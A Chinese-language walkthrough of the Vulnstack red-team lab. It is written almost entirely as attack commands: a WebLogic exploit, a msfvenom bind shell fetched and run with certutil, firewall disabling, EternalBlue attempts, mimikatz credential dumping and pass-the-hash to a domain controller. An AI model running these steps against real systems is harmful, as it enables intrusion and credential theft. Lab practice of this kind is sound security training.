【内网渗透】最简明的ATT&CK实战 | Vulnstack 红队（二）

攻击机：

kali ip:192.168.111.10

win11 ip: 192.168.111.1

靶机：

WEB外网ip:192.168.111.80   内网ip:10.10.10.80

PC外网ip: 192.168.111.201  内网ip:10.10.10.201

DC ip: 10.10.10.10

 先fscan扫外网

./fscan -h 192.168.111.80

weblogic一把梭工具梭开

msf生成正向连接马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -f exe > exp.exe

关掉防火墙，下载msf马，执行

netsh advfirewall set allprofiles state off
certutil -urlcache -split -f http://192.168.111.1:1337/exp.exe
exp.exe

 kali上执行 

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.111.80
set LPORT 1337
exploit

拿到shell，顺带getsystem提权

upload fscan_win32.exe
shell C:\Oracle\Middleware\user_projects\domains\base_domain\fscan_win32.exe -h 10.10.10.0/24 -np

上传的目录是C:\Oracle\Middleware\user_projects\domains\base_domain

 内网扫出来，可以看到201和10都可以打永恒之蓝

 上传frpc搭建代理

upload frpc.ini
upload frpc.exe
shell cd C:\Oracle\Middleware\user_projects\domains\base_domain
shell frpc.exe -c frpc.ini

 尝试打永恒之蓝，均失败

proxychains4 msfconsole
use auxiliary/admin/smb/ms17_010_command
set COMMAND  'netsh advfirewall set allprofiles state off'
set RHOST 10.10.10.10
exploit

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload  payload/windows/x64/meterpreter/bind_tcp
set rhosts 10.10.10.10
run

hashdump出来发现管理员是空密码🤔 

 kiwi模块也犯病跑不出来

于是上传猕猴桃直接交互

upload mimikatz.exe
execute -i -f mimikatz.exe
sekurlsa::logonpasswords

拿到域管的hash 

 pth拿到DC

proxychains4 python psexec.py de1ay.com/administrator@10.10.10.10 -hashes ':161cff084477fe596a5db81874498a24' -codec gbk

同理pth拿到PC

proxychains4 python psexec.py de1ay.com/administrator@10.10.10.201 -hashes ':161cff084477fe596a5db81874498a24' -codec gbk